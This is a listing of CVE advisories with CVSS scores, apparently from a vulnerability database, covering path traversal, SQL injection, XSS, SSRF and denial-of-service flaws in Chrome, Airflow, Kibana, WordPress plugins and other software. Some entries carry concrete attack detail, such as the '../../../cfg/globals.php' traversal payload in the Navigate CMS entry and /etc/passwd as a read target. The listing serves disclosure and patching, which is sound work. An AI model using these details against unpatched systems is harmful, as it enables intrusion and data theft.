CVE-2026-0048	In hide of WindowState.java, there is a possible way to trick the user into approving permissions due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	6.8	More Details
CVE-2026-9617	PostgreSQL Anonymizer contains a vulnerability that allows a user to gain superuser privileges by creating a table and placing malicious code inside a column identifier. If a superuser calls the k-anonymity function, the malicious code is executed with superuser privileges. The risk is higher with PostgreSQL 14 or with instances upgraded from PostgreSQL 14 or a prior version. With PostgreSQL 15 and later, the creation permission on the public schema is revoked by default and this exploit can only be achieved by a user who was explicitly granted the CREATE TABLE privilege. The problem is resolved in PostgreSQL Anonymizer 3.1.0 and further versions	6.8	More Details
CVE-2026-0086	In onCreate of DisableSupervisionActivity.kt, there is a possible way to delete supervision data due to a missing null check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	6.8	More Details
CVE-2026-45810	Nextcloud is an open source content collaboration platform. In Nextcloud Server from versions 31.0.0 to before 31.0.12, and 32.0.0 to before 32.0.3, a missing check of a relation allowed authenticated users with access to any file comment, to read the content of all comments. It is recommended that the Nextcloud Server is upgraded to 31.0.12 or 32.0.3. It is recommended that the Nextcloud Enterprise Server is upgraded to 21.0.9.20, 22.2.10.35, 23.0.12.31, 24.0.12.30, 25.0.13.25, 26.0.13.22, 27.1.11.22, 28.0.14.13, 29.0.16.10, 30.0.17.5, 31.0.12 or 32.0.3	6.8	More Details
CVE-2025-59613	Memory Corruption when output buffer size is smaller than input buffer size during data copying operation.	6.7	More Details
CVE-2026-48065	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.1, src/conf.c allocates heap memory proportional to n_devices, a count derived from libxml2 XPath evaluation of the config file, without first enforcing an upper bound. On 32-bit targets (armv7l, i686 -- both listed in the project Makefile), the multiplication n_devices * sizeof(t_pusb_device) wraps around size_t, causing xmalloc() to receive a very small size. Because xmalloc() only calls abort() on NULL return, a small-but-non-NULL allocation is accepted, and subsequent array writes overflow the heap. This vulnerability is fixed in 0.9.1.	6.7	More Details
CVE-2026-20453	In geniezone, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10886526; Issue ID: MSV-6791.	6.7	More Details
CVE-2025-59611	Memory corruption in diagnostic services due to absence of input validation	6.7	More Details

CVE-2025-59612	Memory corruption in windows drivers while sending incorrect trusted application request	6.7	More Details
CVE-2025-59614	Memory Corruption when sending random number generator command with insufficient output buffer size.	6.7	More Details
CVE-2026-48919	Jenkins Active Directory Plugin 2.41 and earlier deserializes data from LDAP referrals without validation.	6.6	More Details
CVE-2026-48918	Jenkins Active Directory Plugin 2.41 and earlier follows LDAP referrals by default.	6.6	More Details
CVE-2026-48916	Jenkins LDAP Plugin 807.v7d7de30930cf and earlier follows LDAP referrals.	6.6	More Details
CVE-2026-48917	Jenkins LDAP Plugin 807.v7d7de30930cf and earlier deserializes data from LDAP referrals without validation.	6.6	More Details
CVE-2026-42679	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Mamunur Rashid Classified Listing allows Path Traversal. This issue affects Classified Listing: from n/a through 5.3.8.	6.5	More Details
CVE-2026-0044	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause the system to crash due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	6.5	More Details
CVE-2026-0041	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible UBSan failure due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	6.5	More Details
CVE-2026-45081	Frappe HR is an open-source human resources management solution (HRMS). Prior to 16.5.0, authenticated employees could access other employees' leave details due to improper authorization checks. This vulnerability is fixed in 16.5.0.	6.5	More Details
CVE-2025-59601	Information Disclosure when resetting device to factory default settings through powerline interface allows unauthorized access to device configuration.	6.5	More Details
CVE-2026-0052	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause a crash due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	6.5	More Details
CVE-2026-0051	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause a system crash due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	6.5	More Details
CVE-2026-23638	Kiteworks is a private data network (PDN). Prior to version 9.3.0, an Insecure Direct Object Reference (IDOR) vulnerability in Kiteworks Secure Data Forms allows an authenticated attacker to tamper with the internal approval flow configurations of forms belonging to other users due to insufficient authorization checks on resource ownership. Upgrade Kiteworks to version 9.3.0 or later to receive a patch.	6.5	More Details
CVE-2026-9912	Inappropriate implementation in GPU in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)	6.5	More Details
CVE-2026-44740	Billy is an interface filesystem abstraction for Go. Prior to versions 5.9.0 and 6.0.0-alpha.1, multiple components may improperly handle crafted or malformed input, resulting in panics, infinite loops, uncontrolled recursion, or excessive resource consumption. These issues arise from insufficient validation and missing safety mechanisms such as cycle detection, recursion limits, or defensive handling of unexpected states when processing untrusted repository data and filesystem structures. This issue has been patched in versions 5.9.0 and 6.0.0-alpha.1.	6.5	More Details
CVE-2018-25393	Navigate CMS 2.8.5 contains a path traversal vulnerability that allows authenticated users to download arbitrary files by injecting directory traversal sequences in the id parameter. Attackers can send GET requests to navigate_download.php with path traversal payloads ../../../cfg/globals.php to access sensitive configuration files and system files outside the intended directory.	6.5	More Details

CVE-2026-42676	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in myCred allows Stored XSS. This issue affects myCred: from n/a through 3.0.4.	6.5	More Details
CVE-2026-49385	In JetBrains YouTrack before 2026.1.13570 improper access control allowed low-privileged users to modify service accounts	6.5	More Details
CVE-2026-9996	Out of bounds read in WebRTC in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)	6.5	More Details
CVE-2026-42400	Uncontrolled Resource Consumption (CWE-400) in Kibana can lead to denial of service via Excessive Allocation (CAPEC-130). An authenticated user can send a specially crafted compressed request payload that is processed prior to authorization checks, causing excessive memory and CPU resource consumption that can result in a Kibana instance becoming unresponsive or crashing.	6.5	More Details
CVE-2026-9908	Out of bounds read in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)	6.5	More Details
CVE-2026-49376	In JetBrains TeamCity before 2026.1 insufficient username validation in the SAML plugin	6.5	More Details
CVE-2026-48968	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Averta Master Slider allows DOM-Based XSS. This issue affects Master Slider: from n/a through 3.10.8.	6.5	More Details
CVE-2026-49379	In JetBrains TeamCity before 2026.1 credentials could be exposed in thread names	6.5	More Details
CVE-2026-9882	Integer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Critical)	6.5	More Details
CVE-2026-1402	GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.1 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that under certain conditions could have allowed an authenticated user to cause denial of service due to insufficient validation.	6.5	More Details
CVE-2026-45267	Nextcloud is an open source content collaboration platform. Prior to version 5.2.6, a missing permissions check allowed users to request reading form submissions of other users. This issue has been patched in version 5.2.6.	6.5	More Details
CVE-2026-49386	In JetBrains YouTrack before 2026.1.13570 improper access control allowed enumeration of restricted issues and articles on Planning Canvas	6.5	More Details
CVE-2026-42671	Missing Authorization vulnerability in Paolo GeoDirectory allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects GeoDirectory: from n/a through 2.8.157.	6.5	More Details
CVE-2026-9981	Inappropriate implementation in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)	6.5	More Details
CVE-2026-42358	A bug in Apache Airflow's Variable response masker caused nested-key redaction (triggered by secret-suffixed key names like `password`, `token`, `secret`, `api_key`) to be bypassed when the JSON value's nesting depth exceeded the shared secrets masker's recursion limit: the masker returned the original nested item before checking the sensitive key name. An authenticated UI/API user with Variable read permission could harvest plaintext secret values stored under sensitive keys nested deep enough to exceed the masker's depth cap. Affects deployments that store sensitive values inside deeply-nested JSON Variables. This is a residual gap in the fix for CVE-2026-32690 (which covered shallower nesting via `max_depth=1`); the depth-limit boundary itself was not raised, so the same key-name bypass pattern reappears beyond the recursion cap. Users who already upgraded for CVE-2026-32690 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the deep-nesting path.	6.5	More Details
CVE-2026-	Budibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by	6.5	More Details

48147	injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. This vulnerability is fixed in 3.35.4.		
CVE-2026-45719	Budibase is an open-source low-code platform. Prior to 3.38.1, the V1 Views API (POST /api/views) accepts a calculation parameter from the request body that is interpolated directly into a CouchDB reduce function definition without validation. Although an internal SCHEMA_MAP object defines the valid calculation types (sum, count, stats), no actual validation is performed against this map before the value is used in string interpolation. A user with Builder permissions can inject arbitrary JavaScript code that will be executed within the CouchDB JavaScript engine when the view is queried. This vulnerability is fixed in 3.38.1.	6.5	More Details
CVE-2026-45149	The brace-expansion library generates arbitrary strings containing a common prefix and suffix. From 5.0.0 to before 5.0.6, the max option was being applied too late. When expanding a single large numeric range like {1..10000000}, the sequence generation loop generates all 10 million intermediate elements before the max limit is applied With max=10, the output is correctly limited to 10 items, but the process still allocates ~505 MB and spends ~800ms building the full intermediate array. This vulnerability is fixed in 5.0.6.	6.5	More Details
CVE-2026-0040	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause a crash due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	6.5	More Details
CVE-2026-44318	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart. This vulnerability is fixed in 4.2.2.	6.5	More Details
CVE-2026-24753	Kiteworks is a private data network (PDN). Prior to version 9.3.0, an Insecure Direct Object Reference (IDOR) vulnerability in Kiteworks Secure Data Forms allows an authenticated user to modify resources belonging to other users due to insufficient authorization checks on resource ownership. Upgrade Kiteworks to version 9.3.0 or later to receive a patch.	6.5	More Details
CVE-2026-3279	The Enable jQuery Migrate Helper plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `downgrade_jquery_version()` function in all versions up to, and including, 1.4.1. This is due to the function only verifying a nonce without checking user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to downgrade the site-wide jQuery version from 3.7.1 to the legacy 1.12.4-wp release, which has knowns security vulnerabilities.	6.5	More Details
CVE-2026-9156	Tanium addressed a denial of service vulnerability in Tanium Server.	6.5	More Details
CVE-2026-45306	pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the fix for CVE-2026-33509 prevents setting storage_folder inside PKGDIR or userdir, but does NOT protect the Flask session directory (/tmp/pyLoad/flask). An authenticated attacker can set storage_folder to the session directory and download session files of other users via /files/get/, leading to account takeover. This vulnerability is fixed in 0.5.0b3.dev100.	6.5	More Details
CVE-2026-48208	An improper neutralization of active SVG content in OTRS or ((OTRS)) Community Edition ticket article rendering allows attackers to inject specially crafted SVG payloads via email content, leading to browser-side resource exhaustion and denial of service when affected tickets are opened by an agent or customer. The issue can be exploited without JavaScript execution and is not mitigated by the configured Content Security Policy (CSP). This issue affects OTRS: * 7.0.X * 8.0.X * 2023.X * 2024.X * 2025.X * 2026.X before 2026.4.X Please note that ((OTRS)) Community Edition 6.x and before are vulnerable. Products based on the ((OTRS)) Community Edition also very likely to be affected	6.5	More Details
CVE-2026-44884	Portainer Community Edition is a lightweight service delivery platform for containerized applications that can be used to manage Docker, Swarm, Kubernetes and ACI environments. From 2.33.0 to before 2.33.8 and 2.39.1, a missing authorization vulnerability in the Custom Template file endpoint (GET /api/custom_templates/{id}/file) allows any authenticated user to read the file content of any custom template by enumerating sequential integer IDs, bypassing Resource Control access restrictions. Template files may contain environment-specific values such as connection strings, API tokens, or registry credentials that administrators would not expect standard users to read. This vulnerability is fixed in 2.33.8 and 2.39.1.	6.5	More Details
CVE-2026-6052	IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.4 is vulnerable to running out of memory when executing certain queries with MDC tables.	6.5	More Details

CVE-2026-44796	Nautobot is a Network Source of Truth and Network Automation Platform. Prior to 2.4.33 and 3.1.2, Nautobot UI object-bulk-rename endpoints (for example, /dcim/interfaces/rename/) were vulnerable to application-wide denial of service via maliciously crafted regular expressions in the find field in combination with the use_regex flag. This vulnerability is fixed in 2.4.33 and 3.1.2.	6.5	More Details
CVE-2026-6936	IBM i 7.6, 7.5, 7.4, and 7.3 s vulnerable to a denial-of-service attack due to uncontrolled recursion in the Integrated Language Environment (ILE) compiler. An authenticated attacker could exploit this vulnerability by compiling specially crafted source code containing a specific combination of statements.	6.5	More Details
CVE-2026-6938	IBM Db2 12.1.0 through 12.1.4 is vulnerable to authorization bypass when uploading to a remote object storage path with a special query.	6.5	More Details
CVE-2026-8405	IBM Guardium Data Protection 12.2.1, and 12.2.2 's add-on feature of Guardium Data Protection named "Long Term Retention" (LTR) can expose sensitive credentials in debug mode.	6.5	More Details
CVE-2026-9035	IBM Aspera High-Speed Transfer Endpoint 3.7.4 through 4.4.7 Fix Pack 1 and IBM Aspera High-Speed Transfer Server 3.7.4 through 4.4.7 Fix Pack 1 and IBM Aspera High-Speed Transfer Endpoint are affected by a potential arbitrary file read in the asperahttpd component. An authenticated user may be able to take advantage of this vulnerability to access files in the server’s local storage that they should not have access to.	6.5	More Details
CVE-2026-45192	A bug in the GET `/api/v2/connections/{connection_id}` REST API endpoint in Apache Airflow allowed an authenticated UI/API user with Connection-read permission to retrieve secrets stored in a Connection's `extra` JSON blob under field names not present in the redaction allowlist (`DEFAULT_SENSITIVE_FIELDS`) — for example, official Slack-provider credential field names were returned in plaintext. Affects deployments that store credentials in Connection `extra` blobs and grant Connection-read access to multiple users. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can store sensitive credential values in a secret-backend rather than inlined into the Connection's `extra` field.	6.5	More Details
CVE-2019-25716	Dräger Infinity Delta, Delta XL, and Kappa patient monitors contain a denial-of-service vulnerability that allows remote attackers to cause the monitor to reboot by sending a malformed network packet. Attackers can repeatedly send malformed network packets to disrupt patient monitoring until the device falls back to default configuration and loses network connectivity.	6.5	More Details
CVE-2026-9917	Uninitialized Use in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)	6.5	More Details
CVE-2018-25421	Open STA Manager 2.3 contains a path traversal vulnerability that allows authenticated users to download arbitrary files by manipulating the file parameter. Attackers can send GET requests to modules/backup/actions.php with op=getfile and traverse directories using ../ sequences to access sensitive system files.	6.5	More Details
CVE-2026-47118	Agent Zero before version 1.15 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by supplying crafted paths to the image file serving endpoint, which relies solely on an extension allowlist while the path containment check is explicitly disabled. Attackers can request any file with an image extension readable by the process, including files outside the agent workspace, user home directories, and mounted volumes, and can also leverage symlink-based escapes due to the lack of path canonicalization in the path resolution logic.	6.5	More Details
CVE-2026-10008	Uninitialized Use in GPU in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)	6.5	More Details
CVE-2026-49095	Improper Input Validation (CWE-20) in the Kibana Fleet agent policy management feature can lead to privilege escalation. An authenticated user with Fleet management privileges can manipulate agent policy configuration by injecting values into a configuration override mechanism that is not adequately validated. An attacker can cause Elastic Agents to be issued API keys with elevated Elasticsearch privileges, potentially granting unauthorized read and write access to sensitive Elasticsearch security indices beyond what is intended for the Fleet management role.	6.5	More Details
CVE-2026-41141	EspoCRM is an open source customer relationship management application. Prior to 9.3.5, the POST /api/v1/EmailTemplate/:id/prepare endpoint accepts an emailAddress parameter and resolves the owning entity (Contact, Lead, Account, or User) without performing an ACL check. An authenticated user with EmailTemplate read permission can extract all field values of any entity by supplying the target's email address, bypassing read: own or read: team ACL restrictions. This vulnerability is fixed in 9.3.5.	6.5	More Details
CVE-2026-3676	IBM Cloud APM, Base Private 8.1.4 and IBM Cloud APM, Advanced Private 8.1.4 IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow an authenticated user to cause a denial of service due to improper neutralization of special elements in the data query logic of the Fenced environment.	6.5	More Details

CVE-2026-49094	Uncontrolled Resource Consumption (CWE-400) in Kibana can lead to denial of service via Excessive Allocation (CAPEC-130). An authenticated user with viewer-level access can submit a request containing an oversized input value to an analytics collections management endpoint. Kibana will consume excessive CPU and memory resources while processing the request. This results in Kibana becoming unavailable to all users until the service is manually recovered.	6.5	More Details
CVE-2026-9953	Out of bounds read in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)	6.5	More Details
CVE-2026-49044	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Justin Kruit Advanced Custom Fields: Font Awesome Field allows Stored XSS. This issue affects Advanced Custom Fields: Font Awesome Field: from n/a through 5.0.2.	6.5	More Details
CVE-2026-2340	A flaw was found in Samba’s vfs_worm module. The module is intended to provide write-once, read-many (WORM) protections by preventing modification of files after a configurable grace period. Due to insufficient validation during rename operations, an authenticated user with write access to a share could overwrite a protected file by renaming a newly created file over the existing WORM-protected file.	6.5	More Details
CVE-2026-38930	OpenRapid RapidCMS v1.3.1 was discovered to contain an authentication bypass in the /template/default/menu.php component. This vulnerability is exploited via injecting a crafted SQL payload into the name cookie parameter.	6.5	More Details
CVE-2026-40861	A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. `/etc/passwd` or `airflow.cfg`) or (b) supply a `task_id` containing `..` sequences accepted by the Task SDK's `KEY_REGEX` (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured `base_log_folder`, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.	6.5	More Details
CVE-2026-44317	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat == "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq == nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500. This vulnerability is fixed in 4.2.2.	6.5	More Details
CVE-2026-10004	Insufficient validation of untrusted input in Passwords in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: High)	6.5	More Details
CVE-2026-44324	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler panics on a single authenticated request against a fresh UDR instance when the supplied ueId does not exist in UESubsCollection. The processor checks value, ok := udrSelf.UESubsCollection.Load(ueId) and sets a 404 USER_NOT_FOUND problem-details on the miss path, but execution continues and immediately runs value.(*udr_context.UESubsData) -- a Go type assertion on a nil interface, which panics with interface conversion: interface {} is nil, not *context.UESubsData. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable. This vulnerability is fixed in 4.2.2.	6.5	More Details
CVE-2026-0039	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible persistent denial of service due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	6.5	More Details
CVE-2026-44353	Streamlink is a CLI utility which pipes video streams from various services into a video player. Prior to 8.4.0, Streamlink's HLS and DASH parsers do not validate the URI scheme of segment entries and other resources. A remote .m3u8 HLS playlist or .mpd DASH manifest can list file:///path/to/file as a segment, and streamlink will read that local file and write its contents to the output stream. This vulnerability is fixed in 8.4.0.	6.5	More Details
CVE-2026-42399	Uncontrolled Resource Consumption (CWE-400) in Kibana can lead to denial of service via Excessive Allocation (CAPEC-130). An authenticated low-privileged user can cause Kibana to consume exponentially increasing amounts of memory by submitting a specially crafted Timelion visualization expression containing deeply chained function calls. The resulting data structure grows without bound, exhausting available memory and causing the Kibana service to crash and become unavailable to all users.	6.5	More Details
	A bug in Apache Airflow's rendered-template field handling caused nested sensitive-key masking (e.g. nested `password` / `token` / `secret` / `api_key` keys inside a JSON template structure) to be bypassed when the rendered field exceeded `[core] max_templated_field_length`: Airflow stringified the structure before redaction, losing the nested key context, and persisted the plaintext value into `rendered_fields`. An		

CVE-2026-42360	authenticated UI/API user with permission to read rendered template fields could harvest secret values intended to be masked. Affects deployments where Dag authors pass structured JSON to operators with nested sensitive keys. This is a variant of `CWE-200` previously addressed for the user-registered `mask_secret()` patterns in CVE-2025-68438; that fix did not cover the nested sensitive-keyword allowlist. Users who already upgraded for CVE-2025-68438 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the nested-key path.	6.5	More Details
CVE-2026-10018	Integer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-42725	Authorization Bypass Through User-Controlled Key vulnerability in WP Wham Checkout Files Upload for WooCommerce checkout-files-upload-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Checkout Files Upload for WooCommerce: from n/a through <= 2.2.5.	6.5	More Details
CVE-2026-33464	Uncontrolled Resource Consumption (CWE-400) in Kibana can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user holding a low-privileged role can submit a specially crafted, oversized payload to an internal Kibana API, causing the Kibana process to exhaust available resources and become unresponsive to all users until the service recovers or is restarted.	6.5	More Details
CVE-2026-42751	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpdevelop Booking Manager booking-manager allows Stored XSS.This issue affects Booking Manager: from n/a through <= 2.1.18.	6.5	More Details
CVE-2026-42750	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nexcess WPComplete wpcomplete allows Stored XSS.This issue affects WPComplete: from n/a through <= 2.9.5.4.	6.5	More Details
CVE-2026-5737	The Independent Analytics plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.14.9. This is due to a public tracking route at /wp-json/iawp/search that accepts attacker-controlled referrer_url values when the signature matches, combined with a scheduled favicon fetcher that performs unrestricted cURL requests to stored domains. The signature validation is insufficient because the signature is embedded in publicly-accessible JavaScript and the salt is static per site, allowing attackers to extract valid signatures. The favicon downloader uses raw cURL functions without any SSRF protection mechanisms (no localhost blocking, no private network filtering, and does not use WordPress's wp_safe_remote_* functions). This makes it possible for unauthenticated attackers to inject malicious referrer domains into the database and trigger server-side requests to arbitrary hosts including internal services.	6.5	More Details
CVE-2026-45619	WWBN AVideo is an open source video platform. In 29.0 and earlier, EpgParser.php, plugin/AI/receiveAsync.json.php, and other locations do not use the $resolvedIP out-param of isSSRFSafeURL() for DNS pinning via CURLOPT_RESOLVE, opening DNS-rebinding TOCTOU.	6.5	More Details
CVE-2026-9792	A flaw was found in Keycloak's Client Policies, specifically within the `org.keycloak.protocol.oidc` component. When certain condition providers (client-type, client-roles, client-attributes, client-scopes) are used to enforce security restrictions, the `reject-ropc-grant` executor is silently bypassed. This allows an unauthenticated remote attacker to obtain tokens via a Resource Owner Password Credentials (ROPC) grant, even when a policy is explicitly configured to block it. This bypass can lead to unauthorized access and information disclosure.	6.5	More Details
CVE-2026-9796	A flaw was found in Keycloak. An authenticated administrator with the `manage-clients` role can exploit a Time-of-check to time-of-use (TOCTOU) vulnerability in the name-based admin role checks. This allows the attacker to escalate their privileges to `realm-admin` for all users within the realm, granting them extensive control over the system. The composite role relationship persists even after the attacker's own permissions are revoked and across system reboots.	6.5	More Details
CVE-2026-3173	The Meta Field Block plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.5.1. This is due to the plugin allowing users to specify arbitrary object IDs and object types via block attributes without validating whether the authenticated user has permission to access the requested object's metadata. This makes it possible for authenticated attackers, with Contributor-level access and above, to read arbitrary user meta, post meta, and term meta data from any object in the database. On sites using plugins that store sensitive data in meta fields (e.g., WooCommerce billing/shipping information), this could lead to the exposure of Personally Identifiable Information (PII) including names, email addresses, phone numbers, and physical addresses.	6.5	More Details
CVE-2026-42744	Improper Validation of Specified Quantity in Input vulnerability in Ads by WPQuads Ads by WPQuads quick-adsense-reloaded allows Manipulating Hidden Fields.This issue affects Ads by WPQuads: from n/a through <= 3.0.2.	6.5	More Details
CVE-2025-48977	Relative Path Traversal vulnerability in Apache Ignite REST API. Authenticated REST API users can read any file on the server with "cmd=log" command and a log path crafted in a certain way. This issue affects Apache Ignite: from 2.0.0 through 2.17.0. Users are recommended to upgrade to version 2.18.0, which fixes the	6.5	More Details

	issue.		
CVE-2026-39229	Bolt CMS through 3.7.0 allows SQL Injection in the 'order' parameter of the content listing pages. An authenticated attacker with low-level privileges can exploit this through the OrderDirective component. This allows for the extraction of sensitive information	6.5	More Details
CVE-2026-40835	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the saveObjectFromData function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-40844	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the dashboard view due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-35673	OpenClaw before 2026.4.29 contains an SSRF policy bypass vulnerability in browser debug and export routes that allows reuse of already-open blocked tabs. Attackers with access to these routes can bypass private-network SSRF policies by reusing blocked tabs to export or inspect content that should remain protected.	6.5	More Details
CVE-2026-40842	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getWidgetTags function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-40841	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getProjectTags function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-45582	n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. Prior to 2.51.3, the workflow telemetry sanitizer could retain partial fragments of URL-shaped node parameters before sending workflow data to the project's anonymous telemetry backend. Values placed in HTTP-Request-style node parameters — such as customer or tenant identifiers, short secrets embedded in query strings, and signed request parameters — could therefore appear in stored telemetry, contrary to the collection boundary documented in PRIVACY.md. This vulnerability is fixed in 2.51.3.	6.5	More Details
CVE-2026-42732	Improper Validation of Specified Quantity in Input vulnerability in Ads by WPQuads Ads by WPQuads quick-adsense-reloaded allows Input Data Manipulation.This issue affects Ads by WPQuads: from n/a through <= 3.0.2.	6.5	More Details
CVE-2026-10190	A vulnerability was found in Tenda W12 3.0.0.7(4763). This issue affects the function cgiSysWebTimeoutSet of the file /bin/httpd of the component Web Management Interface. The manipulation of the argument web_over_time results in denial of service. It is possible to launch the attack remotely. The exploit has been made public and could be used.	6.5	More Details
CVE-2026-40840	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the VerifyCreateLicences function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-42726	Missing Authorization vulnerability in Strategy11 Team AWP Classifieds another-wordpress-classifieds-plugin allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AWP Classifieds: from n/a through <= 4.4.5.	6.5	More Details
CVE-2026-7048	The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'order_by' parameter in all versions up to, and including, 1.8.40 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is exploitable by embedding a malicious shortcode in a post or draft, allowing the injected SQL to execute when the shortcode is rendered.	6.5	More Details
CVE-2026-40837	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getProjectScalings function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
